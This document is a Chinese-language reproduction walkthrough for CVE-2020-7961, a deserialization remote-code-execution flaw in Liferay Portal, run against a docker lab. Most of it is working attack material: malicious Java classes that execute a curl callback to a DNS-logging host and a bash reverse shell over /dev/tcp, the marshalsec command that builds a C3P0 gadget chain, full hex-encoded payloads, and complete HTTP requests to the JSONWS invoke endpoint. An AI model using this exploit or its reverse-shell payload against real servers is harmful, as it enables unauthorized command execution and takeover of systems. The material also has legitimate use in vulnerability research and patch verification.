(CVE-2020-7961)Liferay Portal RCE 反序列化命令執行漏洞

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(CVE-2020-7961)Liferay Portal RCE 反序列化命令執行漏洞

一、漏洞描述

Liferay Portal CE是一款用來快速構建網站的開源系統。其7.2.0 GA1及以前的版本API接口中存在一處反序列化漏洞，利用該漏洞可在目標服務器上執行任意命令。

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二、影響版本

Liferay Portal CE<V7.2.0 GA1

 

三、漏洞復現

執行如下命令啟動Liferay Portal 7.2.0 GA1：

 

docker-compose up -d

 

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環境啟動成功(注意docker環境至少2G)

 

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http://192.168.0.102:8080/

 

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方法一：

惡意的Java類，編譯

 

importjava.io.BufferedReader;importjava.io.IOException;importjava.io.InputStreamReader;publicclassLifExp{​static{try{String[] cmd = {"bash","-c","curl 2jpa4i.dnslog.cn"};java.lang.Runtime.getRuntime().exec(cmd).waitFor();}catch(Exceptione ) {            e.printStackTrace();        }    }}

在保存着class文件的目錄下運行一個HTTP文件服務：

先啟動一個http服務：

python3-mhttp.server9999

 

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因為目標Java版本較高，我們使用利用鏈是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource，借助marshalsec來生成一個適用於Jackson的POC：

 

java-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://192.168.0.104:9999/ LifExp

 其中，http://192.168.0.104:9999/是剛才啟動的保存了惡意class文件的Web服務，LifExp是惡意類名。

 

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生成的POC

["com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c696645787074001a687474703a2f2f3139322e3136382e302e3130343a393939392f740003466f6f;"}]

 

生成的Payload是Jackson使用的，我們只需按照Liferay Portal的形式，即+參數名:類名=值，來修改這個Payload：

+defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c696645787074001a687474703a2f2f3139322e3136382e302e3130343a393939392f740003466f6f;"}

 

將上述Payload合並到HTTP請求中發送：

POST /api/jsonws/invoke HTTP/1.1

Host: 192.168.0.102:8080

Content-Length: 1356

Content-Type: application/x-www-form-urlencoded

Connection: close

 

cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c696645787074001a687474703a2f2f3139322e3136382e302e3130343a393939392f740003466f6f;"}

 

執行成功

 

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查看DNS訪問記錄

 

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方法二：

執行命令反彈：

 

importjava.io.BufferedReader;importjava.io.IOException;importjava.io.InputStreamReader;publicclassLifExp{​static{try{String[] cmd = {"bash","-c","bash -i >& /dev/tcp/XXXXXXX/34567 0>&1"};java.lang.Runtime.getRuntime().exec(cmd).waitFor();}catch(Exceptione ) {            e.printStackTrace();        }    }}

獲取新的POC

 

java-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://192.168.0.104:9999/ LifExp

 

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["com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c696645787074001a687474703a2f2f3139322e3136382e302e3130343a393939392f740003466f6f;"}]

 

數據訪問包：

POST /api/jsonws/invoke HTTP/1.1

Host: 192.168.0.102:8080

Content-Length: 1352

Content-Type: application/x-www-form-urlencoded

Connection: close

 

cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c696645787074001a687474703a2f2f3139322e3136382e302e3130343a393939392f740003466f6f;"}

執行完成

 

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服務器監聽漏洞獲取權限

 

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參考：

 

http://www.dnslog.cn/

https://github.com/vulhub/vulhub/tree/master/liferay-portal/CVE-2020-7961

https://github.com/mzer0one/CVE-2020-7961-POC

https://github.com/b33p-b0x/CVE-2020-7961-payloads

 

 

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